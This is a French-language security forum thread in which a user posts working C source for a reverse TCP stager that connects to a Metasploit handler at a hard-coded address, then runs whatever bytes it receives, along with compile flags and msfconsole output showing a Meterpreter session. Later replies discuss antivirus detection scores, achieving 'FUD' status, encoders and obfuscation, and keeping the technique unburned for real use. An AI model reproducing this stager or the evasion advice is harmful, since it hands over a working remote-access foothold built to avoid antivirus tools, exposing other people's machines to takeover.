Auteur Sujet: Ecire un payload qui se connecte a meterpreter, en C  (Lu 5654 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne killmeimmatask

  • Membre Junior
  • *
  • Messages: 11
  • +4/-0
Ecire un payload qui se connecte a meterpreter, en C
« le: 04 avril 2019 à 17:27:43 »
Bonjour a tous , je souhaiterais pour des tests ecrire un programme en C

Le but est de l'executer sur ma machine et qu'il se connecte a une session meterpreter (multi/handler sur msfconsole)aussis sur ma machine
Je ne souhaite pas generer de shellcode grace a metasploit

Je voudrais savoir si il est possible de realiser une connection via SOCKET par exemple vers un handler , si oui auriez vous une aide ou une documentation ?

Voila merci beaucoup :)

Hors ligne coyotus

  • Contributeur de Kali-linux.fr
  • Membre Elite
  • *****
  • Messages: 3785
  • +263/-30
  • IN GNU WE TRUST
    • Groupe d'Utilisateurs de GNU/Linux...
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #1 le: 04 avril 2019 à 18:16:21 »
Normalement si tu regarde le dossier exploit de msf tu as des code sources exemples, je commencerais ainsi

Sinon exploitdb aussi.

Après les doc pour msf c'est souvent pour écrire en ruby donc difficile à trouver je pense du moins en français.

Hors ligne killmeimmatask

  • Membre Junior
  • *
  • Messages: 11
  • +4/-0
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #2 le: 05 avril 2019 à 05:19:46 »
Merci de ta reponse j'ai deja reussis avec
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.0.45:4444

Et voila mon code en C que j'execute cote client

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUF_SIZE 500

int main(int argc, char *argv[])
{
int sfd;
char buf[BUF_SIZE];
struct sockaddr_in servaddr, cli;
int tmp = 0;

sfd = socket(AF_INET, SOCK_STREAM, 0);
    bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
inet_aton("192.168.0.45", &servaddr.sin_addr);
servaddr.sin_port = htons(4444);
if (connect(sfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != -1)
0;
else
close(sfd);

while (read(sfd, buf, BUF_SIZE) > 0)
{
int (*foo)() = (int(*)())buf;
tmp = foo();
}
}

compile avec gcc -z execstack -fno-stack-protector client.c
et a l'execution il ouvre un session :
[*] Sending stage (3021284 bytes) to 192.168.0.45
[*] Meterpreter session 1 opened (192.168.0.45:4444 -> 192.168.0.45:41216) at 2019-04-04 23:44:13 -0400

meterpreter >
sa marche parfaitement avec meterpreter maintenant il faut juste utilliser les socket sur windows... :)

Merci pour la reponse et la lecture :)
« Modifié: 05 avril 2019 à 05:44:47 par killmeimmatask »

Hors ligne killmeimmatask

  • Membre Junior
  • *
  • Messages: 11
  • +4/-0
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #3 le: 05 avril 2019 à 05:53:41 »
 payload D'origine : linux/x64/meterpreter/reverse_tcp donne ca


Mon executable avec 0 encryption



Vous pouvez verifier :p

Hors ligne Snk

  • Modérateur
  • Membre Elite
  • *****
  • Messages: 1393
  • +98/-1
  • Multiboot Linux - Kali en Amateur - python(A)
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #4 le: 05 avril 2019 à 06:18:01 »
Bien...  ;)
Comme quoi, le C! Meme pas besoin d'encrypter...
Persi, pour tester, j'avais rajouter bf_xor.rb comme encoder avec une itération, j'arrivais a 4/64 mais jamais mieux...
Faut vraiment que je me mette aussi au C. J'essayerais ta technique.
En tout cas merci pour le partage.   8)

Tchao
Snk
« Modifié: 05 avril 2019 à 06:29:42 par snk »
On ne gagne pas sa Liberté , On choisi de la prendre!
Membre du P.L.F, Bill Gate$ suck'$.
A l'époque c'était système_D (Comme démerdes-toi!)
Anti GAFAM - Brûlons les tous!

Hors ligne killmeimmatask

  • Membre Junior
  • *
  • Messages: 11
  • +4/-0
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #5 le: 05 avril 2019 à 06:29:14 »
Yop de rien, je vien de tester le meme payload en generer par msf en format ELF il passe a 5/26 :) ce qui est deja pas mal
Je me mets au Socket sur windows demain , quelque chose me dit que sa va etre bien bien chiant ... :/
« Modifié: 05 avril 2019 à 06:30:51 par killmeimmatask »

Hors ligne Snk

  • Modérateur
  • Membre Elite
  • *****
  • Messages: 1393
  • +98/-1
  • Multiboot Linux - Kali en Amateur - python(A)
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #6 le: 05 avril 2019 à 06:31:38 »
Ouais c'est deja bien, le mieux que j'ai eu avec msf etait 4/64... Ce qui est deja très bien mais pas tout a fait FUD!   ;)
Ce sujet sur le forum est sympa: https://www.kali-linux.fr/forum/index.php/topic,2973.0.html
« Modifié: 05 avril 2019 à 06:41:18 par snk »
On ne gagne pas sa Liberté , On choisi de la prendre!
Membre du P.L.F, Bill Gate$ suck'$.
A l'époque c'était système_D (Comme démerdes-toi!)
Anti GAFAM - Brûlons les tous!

Hors ligne Snk

  • Modérateur
  • Membre Elite
  • *****
  • Messages: 1393
  • +98/-1
  • Multiboot Linux - Kali en Amateur - python(A)
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #7 le: 05 avril 2019 à 06:52:45 »
Oui, tu as effectivement raison pour virustotal...   :(
Pour tester vite fait, ça passe, mais si tu veux t'en servir en condition réelle, mieux vaut eviter de cramé sa technique...
Ps: ta boite est pleine...
On ne gagne pas sa Liberté , On choisi de la prendre!
Membre du P.L.F, Bill Gate$ suck'$.
A l'époque c'était système_D (Comme démerdes-toi!)
Anti GAFAM - Brûlons les tous!

Hors ligne killmeimmatask

  • Membre Junior
  • *
  • Messages: 11
  • +4/-0
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #8 le: 05 avril 2019 à 06:54:58 »
oui merci je suis actuellement en train de  lire le post , biensure une fois que l'executable windows sera pres il faudra ajouter l'obfuscation des nom et une methode d'evasion runtime :)
Je ferais surement appel a vos connaissance a ce moment la :)
Dacc merci pour la boite ^^

Hors ligne Snk

  • Modérateur
  • Membre Elite
  • *****
  • Messages: 1393
  • +98/-1
  • Multiboot Linux - Kali en Amateur - python(A)
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #9 le: 05 avril 2019 à 06:59:04 »
On peux essayer...   ;)
On verra si je peux t'aider...
« Modifié: 05 avril 2019 à 07:45:00 par snk »
On ne gagne pas sa Liberté , On choisi de la prendre!
Membre du P.L.F, Bill Gate$ suck'$.
A l'époque c'était système_D (Comme démerdes-toi!)
Anti GAFAM - Brûlons les tous!

Hors ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2490
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #10 le: 05 avril 2019 à 09:17:35 »
Si je peux ajouter mon grain de sel , si tu veux de manière générale faire du FUD , n'utilise pas gcc ^^' Et cela est normal que ton programme soit fud et non ceux de msf , msf est utilisé par des millions de personnes et les signatures sont connues , reconnues , rereconnues...

De plus , n'oublie pas que les scans gratuit ne sont pas forcément runtime ;)
« Modifié: 05 avril 2019 à 09:34:00 par ZeR0-@bSoLu »
Mess  with the bests.
Die like the rest.

Hors ligne Shakim

  • Membre Junior
  • *
  • Messages: 48
  • +2/-0
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #11 le: 05 avril 2019 à 14:39:00 »
Bonjour,

  Wow merci pour le partage.
C'est une question que je me suis déjà posé mais je ne suis jamais aller aussi loin. Je profite donc que tu l'ai fait pour te questionner si ca ne te dérange pas, car mes connaissances en C se sont perdu avec le temps :)
Ici, tu n'as effectué qu'une connexion via socket du client vers l'attaquant (reverse)?

J'imagine que meterpreter demande plus qu'une connexion via socket non ?

Hors ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2490
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #12 le: 05 avril 2019 à 15:17:56 »
Fondamentalement non , msf attend juste une connexion tcp en retour , une connexion tcp pouvant être gérée par un seul socket... un seul socket suffit

Après selon besoins tu peux ajouter pleins de choses
« Modifié: 05 avril 2019 à 16:27:01 par ZeR0-@bSoLu »
Mess  with the bests.
Die like the rest.

Hors ligne killmeimmatask

  • Membre Junior
  • *
  • Messages: 11
  • +4/-0
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #13 le: 05 avril 2019 à 20:18:45 »
De plus une fois la connection établie metasploit envoi directement des bits exécutable comme n'importe quel shellcode qui corresponde à la commande envoyer une fois la session établie

Les bits sont lus dans la boucle while(read(...)) a la fin du code
Pour les 2 ligne dans le while ce sont elle qui servent à exécuter les bits reçu (Google : exécuter shellcode en c)

Pour ceux qui veulent testé il suffit de remplacer par
printf ("%s\n",buf);

Dans la boucle while du read comme ceci 

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUF_SIZE 500

int main(int argc, char *argv[])
{
int sfd;
char buf[BUF_SIZE];
struct sockaddr_in servaddr, cli;
int tmp = 0;

sfd = socket(AF_INET, SOCK_STREAM, 0);
    bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
inet_aton("192.168.0.45", &servaddr.sin_addr);
servaddr.sin_port = htons(4444);
if (connect(sfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != -1)
0;
else
close(sfd);

while (read(sfd, buf, BUF_SIZE) > 0)
                printf ("%s\n",buf);
}

Il faut aussis utiliser le payload /linux/x64/shell/reverse_tcp pour moi

Voilà qui permettra de voir ce qui ce passe entre le client et server une fois la session etablie c'est grâce à ça que j'ai trouver et compris le fonctionnement
« Modifié: 05 avril 2019 à 21:29:36 par killmeimmatask »

Hors ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2490
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Ecire un payload qui se connecte a meterpreter, en C
« Réponse #14 le: 06 avril 2019 à 14:13:01 »
c'est comme ça que l'on apprend donc bravo pour ta démarche :)
Mess  with the bests.
Die like the rest.